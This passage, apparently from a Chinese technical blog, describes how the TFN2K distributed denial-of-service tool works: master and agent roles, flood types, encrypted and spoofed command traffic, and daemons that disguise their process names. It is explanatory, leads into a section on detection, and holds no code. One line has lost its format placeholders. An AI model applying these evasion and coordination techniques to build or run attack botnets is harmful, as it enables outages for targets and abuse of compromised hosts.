  什么是tfn2k?   tfn2k通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的unix、solaris和windows nt等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统平台上。   tfn2k由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可能混杂了许多虚假数据包。整个tfn2k网络可能使用不同的tcp、udp或icmp包进行通讯。而且主控端还能伪造其ip地址。所有这些特性都使发展防御 tfn2k攻击的策略和技术都非常困难或效率低下。   tfn2k的技术内幕   ◆ 主控端通过tcp、udp、icmp或随机性使用其中之一的数据包向代理端主机   发送命令。对目标的攻击方法包括tcp/syn、udp、icmp/ping或broadcast   ping (smurf)数据包flood等。   ◆ 主控端与代理端之间数据包的头信息也是随机的,除了icmp总是使用   icmp_echoreply类型数据包。   ◆ 与其上一代版本tfn不同,tfn2k的守护程序是完全沉默的,它不会对接收   到的命令有任何回应。客户端重复发送每一个命令20次,并且认为守护程   序应该至少能接收到其中一个。   ◆ 这些命令数据包可能混杂了许多发送到随机ip地址的伪造数据包。   ◆ tfn2k命令不是基于字符串的,而采用了"++"格式,其中是   代表某个特定命令的数值,则是该命令的参数。   ◆ 所有命令都经过了cast-256算法(rfc 2612)加密。加密关键字在程序编   译时定义,并作为tfn2k客户端程序的口令。   ◆ 所有加密数据在发送前都被编码(base 64)成可打印的ascii字符。tfn2k   守护程序接收数据包并解密数据。   ◆ 守护进程为每一个攻击产生子进程。   ◆ tfn2k守护进程试图通过修改argv[0]内容(或在某些平台中修改进程名)   以掩饰自己。伪造的进程名在编译时指定,因此每次安装时都有可能不同。   这个功能使tfn2k伪装成代理端主机的普通正常进程。因此,只是简单地检   查进程列表未必能找到tfn2k守护进程(及其子进程)。   ◆ 来自每一个客户端或守护进程的所有数据包都可能被伪造。   监测tfn2k的特征

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值